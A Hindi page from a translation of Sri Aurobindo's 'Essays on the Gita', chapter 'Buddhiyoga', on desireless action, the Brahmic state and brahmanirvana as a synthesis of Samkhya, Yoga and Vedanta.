गीता प्रबंध -अरविन्द पृ. 101

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गीता-प्रबंध
10.बुद्धियोग

नहीं, ऐसा भी नहीं है ; जो योगी कर्मफल की इच्छा के बिना, भगवान के साथ योग में स्थित होकर कर्म करते हैं, वे जन्म - बंध से मुक्त होते हैं और उस परम परद को प्राप्त होत हैं , जहां दु:खी मानव - जाति के मन और प्राण को सताने वाली किसी भी व्याधि का नामोनिशान तक नहीं होता । योगी जिस पद को प्राप्त होता है वह ब्राह्मी स्थिति है ,वह ब्रह्म में दृढप्रतिष्ठ हो जाता है। संसार - बद्ध प्राणियों की जो कुछ दृष्टि, अनुभूति, ज्ञान, मूल्यांकन और देखना - सुनना है वहां यह सब कुछ पलट जाता है। यह द्वन्द्वमय जीवन जो इन बद्ध प्राणियों का दिन है, जो इनकी जागृति है , जो इनकी चेतना है, जो इन लिये कर्म करने और ज्ञान प्राप्त करने की उज्वल अवस्था है, उसके लिये यह रात है, दुःखभरी नीद और आत्माविषयक अंधकार है; और वह उच्चतर सत्ता जो इन बद्व प्राणियों के लिये रात है, वह नींद है जिसमें इनका सारा ज्ञान और कर्मसंकल्प लुप्त हो जाता है, उस संयमी पुरूष के लिये जागृत अवस्था है, सत्य सत्ता , ज्ञान और शक्ति का प्रकाशमय दिवस है। ये बद्ध प्राणी उन चंचल पंकिल जलाशयों की तरह हैं जो कामना की जरा - सी लहर का धक्का लगते ही हिलने लग जाते हैं; योगी विशाल सत्ता और चेतना का वह समुद्र है जो सदा भरा जाने पर भी अपनी आत्मा की विशाल समस्थति में सदा अचल रहता है; संसार की सब कामनाएं उसमें प्रविष्ट होती हैं, जैसे समुद्र में नदियां, फिर भी उसमें कोई कामना नहीं हेाती ,कोई चांचलय नहीं होता । इन प्राणियों में भरा रहता है, अंधकार और “मेरा – तेरा” का उद्वेगजनक भाव, और वह सबके एक अखिलांतरात्मा के साथ एक होता है, उसमें न “मैं” है न ‘मेरा’ । वह कर्म तो दूसरों की तरह ही करता है, पर सब कामनाओं और उनकी लालसाओं को छोड़कर। वह महान् शांति को प्राप्त होता है और बाहरी दिखावों से विचलित नहीं होता; उसने अपने व्यष्टिगत अहंभाव को उस एक अखिलांतराम्ता में निर्वापित कर दिया है, वह उसी एकत्व में रहता है और अंतकाल में उसी में स्थित होकर ब्रह्मनिर्वाण को प्राप्त होता है- यह ब्रह्मनिर्वाण बौद्धों का अभावात्मक आत्म - विध्वंस नहीं है, प्रयुक्त पृथक वैयक्तिक आत्मा का उस एक अनंत निव्र्यक्तिक सत्ता के विराट् सत्य में महान् निमज्जन है। इस प्रकार सांख्य ,योग और वेदांत का यह सूक्ष्म एकीकरा गीता की शिक्षा की पहली नीव हैं यही सब कुछ नहीं है बल्कि ज्ञान और कर्म की यह प्राथमिक अनिवार्य व्यावाहारिक एकता है जिसमें जीव की परिपूर्णता के लिये परमावश्यक सर्वोच्च और आत्यंतिक तीसरे अंग का अर्थात् भागवत प्रेम और भक्ति का संकेतमात्र किया गया है।


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टीका टिप्पणी और संदर्भ

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